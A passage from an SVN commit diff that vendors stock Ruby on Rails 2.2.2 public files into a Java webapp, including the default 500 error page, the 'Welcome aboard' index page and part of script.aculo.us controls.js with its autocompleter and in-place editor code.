+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <title>We're sorry, but something went wrong (500)</title>
+	<style type="text/css">
+		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+		div.dialog {
+			width: 25em;
+			padding: 0 4em;
+			margin: 4em auto 0 auto;
+			border: 1px solid #ccc;
+			border-right-color: #999;
+			border-bottom-color: #999;
+		}
+		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+	</style>
+</head>
+
+<body>
+  <!-- This file lives in public/500.html -->
+  <div class="dialog">
+    <h1>We're sorry, but something went wrong.</h1>
+    <p>We've been notified about this issue and we'll take a look at it shortly.</p>
+    <p><small>(If you're the administrator of this website, then please read
+    the log file "<%= "<%s>" % "%=h RAILS_ENV %" %>.log"
+    to find out what went wrong.)</small></p>
+  </div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/favicon.ico
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/images/rails.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/images/rails.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/index.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/index.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/index.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,274 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+  <head>
+    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
+    <title>Ruby on Rails: Welcome aboard</title>
+    <style type="text/css" media="screen">
+      body {
+        margin: 0;
+        margin-bottom: 25px;
+        padding: 0;
+        background-color: #f0f0f0;
+        font-family: "Lucida Grande", "Bitstream Vera Sans", "Verdana";
+        font-size: 13px;
+        color: #333;
+      }
+      
+      h1 {
+        font-size: 28px;
+        color: #000;
+      }
+      
+      a  {color: #03c}
+      a:hover {
+        background-color: #03c;
+        color: white;
+        text-decoration: none;
+      }
+      
+      
+      #page {
+        background-color: #f0f0f0;
+        width: 750px;
+        margin: 0;
+        margin-left: auto;
+        margin-right: auto;
+      }
+      
+      #content {
+        float: left;
+        background-color: white;
+        border: 3px solid #aaa;
+        border-top: none;
+        padding: 25px;
+        width: 500px;
+      }
+      
+      #sidebar {
+        float: right;
+        width: 175px;
+      }
+
+      #footer {
+        clear: both;
+      }
+      
+
+      #header, #about, #getting-started {
+        padding-left: 75px;
+        padding-right: 30px;
+      }
+
+
+      #header {
+        background-image: url("images/rails.png");
+        background-repeat: no-repeat;
+        background-position: top left;
+        height: 64px;
+      }
+      #header h1, #header h2 {margin: 0}
+      #header h2 {
+        color: #888;
+        font-weight: normal;
+        font-size: 16px;
+      }
+      
+      
+      #about h3 {
+        margin: 0;
+        margin-bottom: 10px;
+        font-size: 14px;
+      }
+      
+      #about-content {
+        background-color: #ffd;
+        border: 1px solid #fc0;
+        margin-left: -11px;
+      }
+      #about-content table {
+        margin-top: 10px;
+        margin-bottom: 10px;
+        font-size: 11px;
+        border-collapse: collapse;
+      }
+      #about-content td {
+        padding: 10px;
+        padding-top: 3px;
+        padding-bottom: 3px;
+      }
+      #about-content td.name  {color: #555}
+      #about-content td.value {color: #000}
+      
+      #about-content.failure {
+        background-color: #fcc;
+        border: 1px solid #f00;
+      }
+      #about-content.failure p {
+        margin: 0;
+        padding: 10px;
+      }
+      
+      
+      #getting-started {
+        border-top: 1px solid #ccc;
+        margin-top: 25px;
+        padding-top: 15px;
+      }
+      #getting-started h1 {
+        margin: 0;
+        font-size: 20px;
+      }
+      #getting-started h2 {
+        margin: 0;
+        font-size: 14px;
+        font-weight: normal;
+        color: #333;
+        margin-bottom: 25px;
+      }
+      #getting-started ol {
+        margin-left: 0;
+        padding-left: 0;
+      }
+      #getting-started li {
+        font-size: 18px;
+        color: #888;
+        margin-bottom: 25px;
+      }
+      #getting-started li h2 {
+        margin: 0;
+        font-weight: normal;
+        font-size: 18px;
+        color: #333;
+      }
+      #getting-started li p {
+        color: #555;
+        font-size: 13px;
+      }
+      
+      
+      #search {
+        margin: 0;
+        padding-top: 10px;
+        padding-bottom: 10px;
+        font-size: 11px;
+      }
+      #search input {
+        font-size: 11px;
+        margin: 2px;
+      }
+      #search-text {width: 170px}
+      
+      
+      #sidebar ul {
+        margin-left: 0;
+        padding-left: 0;
+      }
+      #sidebar ul h3 {
+        margin-top: 25px;
+        font-size: 16px;
+        padding-bottom: 10px;
+        border-bottom: 1px solid #ccc;
+      }
+      #sidebar li {
+        list-style-type: none;
+      }
+      #sidebar ul.links li {
+        margin-bottom: 5px;
+      }
+      
+    </style>
+    <script type="text/javascript" src="javascripts/prototype.js"></script>
+    <script type="text/javascript" src="javascripts/effects.js"></script>
+    <script type="text/javascript">
+      function about() {
+        if (Element.empty('about-content')) {
+          new Ajax.Updater('about-content', 'rails/info/properties', {
+            method:     'get',
+            onFailure:  function() {Element.classNames('about-content').add('failure')},
+            onComplete: function() {new Effect.BlindDown('about-content', {duration: 0.25})}
+          });
+        } else {
+          new Effect[Element.visible('about-content') ? 
+            'BlindUp' : 'BlindDown']('about-content', {duration: 0.25});
+        }
+      }
+      
+      window.onload = function() {
+        $('search-text').value = '';
+        $('search').onsubmit = function() {
+          $('search-text').value = 'site:rubyonrails.org ' + $F('search-text');
+        }
+      }
+    </script>
+  </head>
+  <body>
+    <div id="page">
+      <div id="sidebar">
+        <ul id="sidebar-items">
+          <li>
+            <form id="search" action="http://www.google.com/search" method="get">
+              <input type="hidden" name="hl" value="en" />
+              <input type="text" id="search-text" name="q" value="site:rubyonrails.org " />
+              <input type="submit" value="Search" /> the Rails site
+            </form>
+          </li>
+        
+          <li>
+            <h3>Join the community</h3>
+            <ul class="links">
+              <li><a href="http://www.rubyonrails.org/">Ruby on Rails</a></li>
+              <li><a href="http://weblog.rubyonrails.org/">Official weblog</a></li>
+              <li><a href="http://wiki.rubyonrails.org/">Wiki</a></li>
+            </ul>
+          </li>
+          
+          <li>
+            <h3>Browse the documentation</h3>
+            <ul class="links">
+              <li><a href="http://api.rubyonrails.org/">Rails API</a></li>
+              <li><a href="http://stdlib.rubyonrails.org/">Ruby standard library</a></li>
+              <li><a href="http://corelib.rubyonrails.org/">Ruby core</a></li>
+            </ul>
+          </li>
+        </ul>
+      </div>
+
+      <div id="content">
+        <div id="header">
+          <h1>Welcome aboard</h1>
+          <h2>You&rsquo;re riding Ruby on Rails!</h2>
+        </div>
+
+        <div id="about">
+          <h3><a href="rails/info/properties" onclick="about(); return false">About your application&rsquo;s environment</a></h3>
+          <div id="about-content" style="display: none"></div>
+        </div>
+        
+        <div id="getting-started">
+          <h1>Getting started</h1>
+          <h2>Here&rsquo;s how to get rolling:</h2>
+          
+          <ol>          
+            <li>
+              <h2>Use <tt>script/generate</tt> to create your models and controllers</h2>
+              <p>To see all available options, run it without parameters.</p>
+            </li>
+            
+            <li>
+              <h2>Set up a default route and remove or rename this file</h2>
+              <p>Routes are set up in config/routes.rb.</p>
+            </li>
+
+            <li>
+              <h2>Create your database</h2>
+              <p>Run <tt>rake db:migrate</tt> to create your database. If you're not using SQLite (the default), edit <tt>config/database.yml</tt> with your username and password.</p>
+            </li>
+          </ol>
+        </div>
+      </div>
+      
+      <div id="footer">&nbsp;</div>
+    </div>
+  </body>
+</html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/application.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/application.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/application.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+// Place your application-specific JavaScript functions and classes here
+// This file is automatically included by javascript_include_tag :defaults

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/controls.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/controls.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/controls.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,963 @@
+// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2008 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
+//           (c) 2005-2008 Jon Tirsen (http://www.tirsen.com)
+// Contributors:
+//  Richard Livsey
+//  Rahul Bhargava
+//  Rob Wills
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+// Autocompleter.Base handles all the autocompletion functionality
+// that's independent of the data source for autocompletion. This
+// includes drawing the autocompletion menu, observing keyboard
+// and mouse events, and similar.
+//
+// Specific autocompleters need to provide, at the very least,
+// a getUpdatedChoices function that will be invoked every time
+// the text inside the monitored textbox changes. This method
+// should get the text for which to provide autocompletion by
+// invoking this.getToken(), NOT by directly accessing
+// this.element.value. This is to allow incremental tokenized
+// autocompletion. Specific auto-completion logic (AJAX, etc)
+// belongs in getUpdatedChoices.
+//
+// Tokenized incremental autocompletion is enabled automatically
+// when an autocompleter is instantiated with the 'tokens' option
+// in the options parameter, e.g.:
+// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
+// will incrementally autocomplete with a comma as the token.
+// Additionally, ',' in the above example can be replaced with
+// a token array, e.g. { tokens: [',', '\n'] } which
+// enables autocompletion on multiple tokens. This is most
+// useful when one of the tokens is \n (a newline), as it
+// allows smart autocompletion after linebreaks.
+
+if(typeof Effect == 'undefined')
+  throw("controls.js requires including script.aculo.us' effects.js library");
+
+var Autocompleter = { };
+Autocompleter.Base = Class.create({
+  baseInitialize: function(element, update, options) {
+    element          = $(element);
+    this.element     = element;
+    this.update      = $(update);
+    this.hasFocus    = false;
+    this.changed     = false;
+    this.active      = false;
+    this.index       = 0;
+    this.entryCount  = 0;
+    this.oldElementValue = this.element.value;
+
+    if(this.setOptions)
+      this.setOptions(options);
+    else
+      this.options = options || { };
+
+    this.options.paramName    = this.options.paramName || this.element.name;
+    this.options.tokens       = this.options.tokens || [];
+    this.options.frequency    = this.options.frequency || 0.4;
+    this.options.minChars     = this.options.minChars || 1;
+    this.options.onShow       = this.options.onShow ||
+      function(element, update){
+        if(!update.style.position || update.style.position=='absolute') {
+          update.style.position = 'absolute';
+          Position.clone(element, update, {
+            setHeight: false,
+            offsetTop: element.offsetHeight
+          });
+        }
+        Effect.Appear(update,{duration:0.15});
+      };
+    this.options.onHide = this.options.onHide ||
+      function(element, update){ new Effect.Fade(update,{duration:0.15}) };
+
+    if(typeof(this.options.tokens) == 'string')
+      this.options.tokens = new Array(this.options.tokens);
+    // Force carriage returns as token delimiters anyway
+    if (!this.options.tokens.include('\n'))
+      this.options.tokens.push('\n');
+
+    this.observer = null;
+
+    this.element.setAttribute('autocomplete','off');
+
+    Element.hide(this.update);
+
+    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
+    Event.observe(this.element, 'keydown', this.onKeyPress.bindAsEventListener(this));
+  },
+
+  show: function() {
+    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
+    if(!this.iefix &&
+      (Prototype.Browser.IE) &&
+      (Element.getStyle(this.update, 'position')=='absolute')) {
+      new Insertion.After(this.update,
+       '<iframe id="' + this.update.id + '_iefix" '+
+       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
+       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
+      this.iefix = $(this.update.id+'_iefix');
+    }
+    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
+  },
+
+  fixIEOverlapping: function() {
+    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
+    this.iefix.style.zIndex = 1;
+    this.update.style.zIndex = 2;
+    Element.show(this.iefix);
+  },
+
+  hide: function() {
+    this.stopIndicator();
+    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
+    if(this.iefix) Element.hide(this.iefix);
+  },
+
+  startIndicator: function() {
+    if(this.options.indicator) Element.show(this.options.indicator);
+  },
+
+  stopIndicator: function() {
+    if(this.options.indicator) Element.hide(this.options.indicator);
+  },
+
+  onKeyPress: function(event) {
+    if(this.active)
+      switch(event.keyCode) {
+       case Event.KEY_TAB:
+       case Event.KEY_RETURN:
+         this.selectEntry();
+         Event.stop(event);
+       case Event.KEY_ESC:
+         this.hide();
+         this.active = false;
+         Event.stop(event);
+         return;
+       case Event.KEY_LEFT:
+       case Event.KEY_RIGHT:
+         return;
+       case Event.KEY_UP:
+         this.markPrevious();
+         this.render();
+         Event.stop(event);
+         return;
+       case Event.KEY_DOWN:
+         this.markNext();
+         this.render();
+         Event.stop(event);
+         return;
+      }
+     else
+       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN ||
+         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;
+
+    this.changed = true;
+    this.hasFocus = true;
+
+    if(this.observer) clearTimeout(this.observer);
+      this.observer =
+        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
+  },
+
+  activate: function() {
+    this.changed = false;
+    this.hasFocus = true;
+    this.getUpdatedChoices();
+  },
+
+  onHover: function(event) {
+    var element = Event.findElement(event, 'LI');
+    if(this.index != element.autocompleteIndex)
+    {
+        this.index = element.autocompleteIndex;
+        this.render();
+    }
+    Event.stop(event);
+  },
+
+  onClick: function(event) {
+    var element = Event.findElement(event, 'LI');
+    this.index = element.autocompleteIndex;
+    this.selectEntry();
+    this.hide();
+  },
+
+  onBlur: function(event) {
+    // needed to make click events working
+    setTimeout(this.hide.bind(this), 250);
+    this.hasFocus = false;
+    this.active = false;
+  },
+
+  render: function() {
+    if(this.entryCount > 0) {
+      for (var i = 0; i < this.entryCount; i++)
+        this.index==i ?
+          Element.addClassName(this.getEntry(i),"selected") :
+          Element.removeClassName(this.getEntry(i),"selected");
+      if(this.hasFocus) {
+        this.show();
+        this.active = true;
+      }
+    } else {
+      this.active = false;
+      this.hide();
+    }
+  },
+
+  markPrevious: function() {
+    if(this.index > 0) this.index--;
+      else this.index = this.entryCount-1;
+    this.getEntry(this.index).scrollIntoView(true);
+  },
+
+  markNext: function() {
+    if(this.index < this.entryCount-1) this.index++;
+      else this.index = 0;
+    this.getEntry(this.index).scrollIntoView(false);
+  },
+
+  getEntry: function(index) {
+    return this.update.firstChild.childNodes[index];
+  },
+
+  getCurrentEntry: function() {
+    return this.getEntry(this.index);
+  },
+
+  selectEntry: function() {
+    this.active = false;
+    this.updateElement(this.getCurrentEntry());
+  },
+
+  updateElement: function(selectedElement) {
+    if (this.options.updateElement) {
+      this.options.updateElement(selectedElement);
+      return;
+    }
+    var value = '';
+    if (this.options.select) {
+      var nodes = $(selectedElement).select('.' + this.options.select) || [];
+      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
+    } else
+      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
+
+    var bounds = this.getTokenBounds();
+    if (bounds[0] != -1) {
+      var newValue = this.element.value.substr(0, bounds[0]);
+      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
+      if (whitespace)
+        newValue += whitespace[0];
+      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
+    } else {
+      this.element.value = value;
+    }
+    this.oldElementValue = this.element.value;
+    this.element.focus();
+
+    if (this.options.afterUpdateElement)
+      this.options.afterUpdateElement(this.element, selectedElement);
+  },
+
+  updateChoices: function(choices) {
+    if(!this.changed && this.hasFocus) {
+      this.update.innerHTML = choices;
+      Element.cleanWhitespace(this.update);
+      Element.cleanWhitespace(this.update.down());
+
+      if(this.update.firstChild && this.update.down().childNodes) {
+        this.entryCount =
+          this.update.down().childNodes.length;
+        for (var i = 0; i < this.entryCount; i++) {
+          var entry = this.getEntry(i);
+          entry.autocompleteIndex = i;
+          this.addObservers(entry);
+        }
+      } else {
+        this.entryCount = 0;
+      }
+
+      this.stopIndicator();
+      this.index = 0;
+
+      if(this.entryCount==1 && this.options.autoSelect) {
+        this.selectEntry();
+        this.hide();
+      } else {
+        this.render();
+      }
+    }
+  },
+
+  addObservers: function(element) {
+    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
+    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
+  },
+
+  onObserverEvent: function() {
+    this.changed = false;
+    this.tokenBounds = null;
+    if(this.getToken().length>=this.options.minChars) {
+      this.getUpdatedChoices();
+    } else {
+      this.active = false;
+      this.hide();
+    }
+    this.oldElementValue = this.element.value;
+  },
+
+  getToken: function() {
+    var bounds = this.getTokenBounds();
+    return this.element.value.substring(bounds[0], bounds[1]).strip();
+  },
+
+  getTokenBounds: function() {
+    if (null != this.tokenBounds) return this.tokenBounds;
+    var value = this.element.value;
+    if (value.strip().empty()) return [-1, 0];
+    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
+    var offset = (diff == this.oldElementValue.length ? 1 : 0);
+    var prevTokenPos = -1, nextTokenPos = value.length;
+    var tp;
+    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
+      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
+      if (tp > prevTokenPos) prevTokenPos = tp;
+      tp = value.indexOf(this.options.tokens[index], diff + offset);
+      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
+    }
+    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
+  }
+});
+
+Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
+  var boundary = Math.min(newS.length, oldS.length);
+  for (var index = 0; index < boundary; ++index)
+    if (newS[index] != oldS[index])
+      return index;
+  return boundary;
+};
+
+Ajax.Autocompleter = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, url, options) {
+    this.baseInitialize(element, update, options);
+    this.options.asynchronous  = true;
+    this.options.onComplete    = this.onComplete.bind(this);
+    this.options.defaultParams = this.options.parameters || null;
+    this.url                   = url;
+  },
+
+  getUpdatedChoices: function() {
+    this.startIndicator();
+
+    var entry = encodeURIComponent(this.options.paramName) + '=' +
+      encodeURIComponent(this.getToken());
+
+    this.options.parameters = this.options.callback ?
+      this.options.callback(this.element, entry) : entry;
+
+    if(this.options.defaultParams)
+      this.options.parameters += '&' + this.options.defaultParams;
+
+    new Ajax.Request(this.url, this.options);
+  },
+
+  onComplete: function(request) {
+    this.updateChoices(request.responseText);
+  }
+});
+
+// The local array autocompleter. Used when you'd prefer to
+// inject an array of autocompletion options into the page, rather
+// than sending out Ajax queries, which can be quite slow sometimes.
+//
+// The constructor takes four parameters. The first two are, as usual,
+// the id of the monitored textbox, and id of the autocompletion menu.
+// The third is the array you want to autocomplete from, and the fourth
+// is the options block.
+//
+// Extra local autocompletion options:
+// - choices - How many autocompletion choices to offer
+//
+// - partialSearch - If false, the autocompleter will match entered
+//                    text only at the beginning of strings in the
+//                    autocomplete array. Defaults to true, which will
+//                    match text at the beginning of any *word* in the
+//                    strings in the autocomplete array. If you want to
+//                    search anywhere in the string, additionally set
+//                    the option fullSearch to true (default: off).
+//
+// - fullSsearch - Search anywhere in autocomplete array strings.
+//
+// - partialChars - How many characters to enter before triggering
+//                   a partial match (unlike minChars, which defines
+//                   how many characters are required to do any match
+//                   at all). Defaults to 2.
+//
+// - ignoreCase - Whether to ignore case when autocompleting.
+//                 Defaults to true.
+//
+// It's possible to pass in a custom function as the 'selector'
+// option, if you prefer to write your own autocompletion logic.
+// In that case, the other options above will not apply unless
+// you support them.
+
+Autocompleter.Local = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, array, options) {
+    this.baseInitialize(element, update, options);
+    this.options.array = array;
+  },
+
+  getUpdatedChoices: function() {
+    this.updateChoices(this.options.selector(this));
+  },
+
+  setOptions: function(options) {
+    this.options = Object.extend({
+      choices: 10,
+      partialSearch: true,
+      partialChars: 2,
+      ignoreCase: true,
+      fullSearch: false,
+      selector: function(instance) {
+        var ret       = []; // Beginning matches
+        var partial   = []; // Inside matches
+        var entry     = instance.getToken();
+        var count     = 0;
+
+        for (var i = 0; i < instance.options.array.length &&
+          ret.length < instance.options.choices ; i++) {
+
+          var elem = instance.options.array[i];
+          var foundPos = instance.options.ignoreCase ?
+            elem.toLowerCase().indexOf(entry.toLowerCase()) :
+            elem.indexOf(entry);
+
+          while (foundPos != -1) {
+            if (foundPos == 0 && elem.length != entry.length) {
+              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" +
+                elem.substr(entry.length) + "</li>");
+              break;
+            } else if (entry.length >= instance.options.partialChars &&
+              instance.options.partialSearch && foundPos != -1) {
+              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
+                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
+                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
+                  foundPos + entry.length) + "</li>");
+                break;
+              }
+            }
+
+            foundPos = instance.options.ignoreCase ?
+              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) :
+              elem.indexOf(entry, foundPos + 1);
+
+          }
+        }
+        if (partial.length)
+          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length));
+        return "<ul>" + ret.join('') + "</ul>";
+      }
+    }, options || { });
+  }
+});
+
+// AJAX in-place editor and collection editor
+// Full rewrite by Christophe Porteneuve <tdd at tddsworld.com> (April 2007).
+
+// Use this if you notice weird scrolling problems on some browsers,
+// the DOM might be a bit confused when this gets called so do this
+// waits 1 ms (with setTimeout) until it does the activation
+Field.scrollFreeActivate = function(field) {
+  setTimeout(function() {
+    Field.activate(field);
+  }, 1);
+};
+
+Ajax.InPlaceEditor = Class.create({
+  initialize: function(element, url, options) {
+    this.url = url;
+    this.element = element = $(element);
+    this.prepareOptions();
+    this._controls = { };
+    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
+    Object.extend(this.options, options || { });
+    if (!this.options.formId && this.element.id) {
+      this.options.formId = this.element.id + '-inplaceeditor';
+      if ($(this.options.formId))
+        this.options.formId = '';
+    }
+    if (this.options.externalControl)
+      this.options.externalControl = $(this.options.externalControl);
+    if (!this.options.externalControl)
+      this.options.externalControlOnly = false;
+    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
+    this.element.title = this.options.clickToEditText;
+    this._boundCancelHandler = this.handleFormCancellation.bind(this);
+    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
+    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
+    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
+    this._boundWrapperHandler = this.wrapUp.bind(this);
+    this.registerListeners();
+  },
+  checkForEscapeOrReturn: function(e) {
+    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
+    if (Event.KEY_ESC == e.keyCode)
+      this.handleFormCancellation(e);
+    else if (Event.KEY_RETURN == e.keyCode)
+      this.handleFormSubmission(e);
+  },
+  createControl: function(mode, handler, extraClasses) {
+    var control = this.options[mode + 'Control'];
+    var text = this.options[mode + 'Text'];
+    if ('button' == control) {
+      var btn = document.createElement('input');
+      btn.type = 'submit';
+      btn.value = text;
+      btn.className = 'editor_' + mode + '_button';
+      if ('cancel' == mode)
+        btn.onclick = this._boundCancelHandler;
+      this._form.appendChild(btn);
+      this._controls[mode] = btn;
+    } else if ('link' == control) {
+      var link = document.createElement('a');
+      link.href = '#';
+      link.appendChild(document.createTextNode(text));
+      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
+      link.className = 'editor_' + mode + '_link';
+      if (extraClasses)
+        link.className += ' ' + extraClasses;
+      this._form.appendChild(link);
+      this._controls[mode] = link;
+    }
+  },
+  createEditField: function() {
+    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
+    var fld;
+    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
+      fld = document.createElement('input');
+      fld.type = 'text';
+      var size = this.options.size || this.options.cols || 0;
+      if (0 < size) fld.size = size;
+    } else {
+      fld = document.createElement('textarea');
+      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
+      fld.cols = this.options.cols || 40;
+    }
+    fld.name = this.options.paramName;
+    fld.value = text; // No HTML breaks conversion anymore
+    fld.className = 'editor_field';
+    if (this.options.submitOnBlur)
+      fld.onblur = this._boundSubmitHandler;
+    this._controls.editor = fld;
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+  createForm: function() {
+    var ipe = this;
+    function addText(mode, condition) {
+      var text = ipe.options['text' + mode + 'Controls'];
+      if (!text || condition === false) return;
+      ipe._form.appendChild(document.createTextNode(text));
+    };
+    this._form = $(document.createElement('form'));
+    this._form.id = this.options.formId;
+    this._form.addClassName(this.options.formClassName);
+    this._form.onsubmit = this._boundSubmitHandler;
+    this.createEditField();
+    if ('textarea' == this._controls.editor.tagName.toLowerCase())
+      this._form.appendChild(document.createElement('br'));
+    if (this.options.onFormCustomization)
+      this.options.onFormCustomization(this, this._form);
+    addText('Before', this.options.okControl || this.options.cancelControl);
+    this.createControl('ok', this._boundSubmitHandler);
+    addText('Between', this.options.okControl && this.options.cancelControl);
+    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
+    addText('After', this.options.okControl || this.options.cancelControl);
+  },
+  destroy: function() {
+    if (this._oldInnerHTML)
+      this.element.innerHTML = this._oldInnerHTML;
+    this.leaveEditMode();
+    this.unregisterListeners();
+  },
+  enterEditMode: function(e) {
+    if (this._saving || this._editing) return;
+    this._editing = true;
+    this.triggerCallback('onEnterEditMode');
+    if (this.options.externalControl)
+      this.options.externalControl.hide();
+    this.element.hide();
+    this.createForm();
+    this.element.parentNode.insertBefore(this._form, this.element);
+    if (!this.options.loadTextURL)
+      this.postProcessEditField();
+    if (e) Event.stop(e);
+  },
+  enterHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.addClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onEnterHover');
+  },
+  getText: function() {
+    return this.element.innerHTML.unescapeHTML();
+  },
+  handleAJAXFailure: function(transport) {
+    this.triggerCallback('onFailure', transport);
+    if (this._oldInnerHTML) {
+      this.element.innerHTML = this._oldInnerHTML;
+      this._oldInnerHTML = null;
+    }
+  },
+  handleFormCancellation: function(e) {
+    this.wrapUp();
+    if (e) Event.stop(e);
+  },
+  handleFormSubmission: function(e) {
+    var form = this._form;
+    var value = $F(this._controls.editor);
+    this.prepareSubmission();
+    var params = this.options.callback(form, value) || '';
+    if (Object.isString(params))
+      params = params.toQueryParams();
+    params.editorId = this.element.id;
+    if (this.options.htmlResponse) {
+      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Updater({ success: this.element }, this.url, options);
+    } else {
+      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Request(this.url, options);
+    }
+    if (e) Event.stop(e);
+  },
+  leaveEditMode: function() {
+    this.element.removeClassName(this.options.savingClassName);
+    this.removeForm();
+    this.leaveHover();
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+    if (this.options.externalControl)
+      this.options.externalControl.show();
+    this._saving = false;
+    this._editing = false;
+    this._oldInnerHTML = null;
+    this.triggerCallback('onLeaveEditMode');
+  },
+  leaveHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.removeClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onLeaveHover');
+  },
+  loadExternalText: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this._controls.editor.disabled = true;
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._form.removeClassName(this.options.loadingClassName);
+        var text = transport.responseText;
+        if (this.options.stripLoadedTextTags)
+          text = text.stripTags();
+        this._controls.editor.value = text;
+        this._controls.editor.disabled = false;
+        this.postProcessEditField();
+      }.bind(this),
+      onFailure: this._boundFailureHandler
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+  postProcessEditField: function() {
+    var fpc = this.options.fieldPostCreation;
+    if (fpc)
+      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
+  },
+  prepareOptions: function() {
+    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
+    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
+    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
+      Object.extend(this.options, defs);
+    }.bind(this));
+  },
+  prepareSubmission: function() {
+    this._saving = true;
+    this.removeForm();
+    this.leaveHover();
+    this.showSaving();
+  },
+  registerListeners: function() {
+    this._listeners = { };
+    var listener;
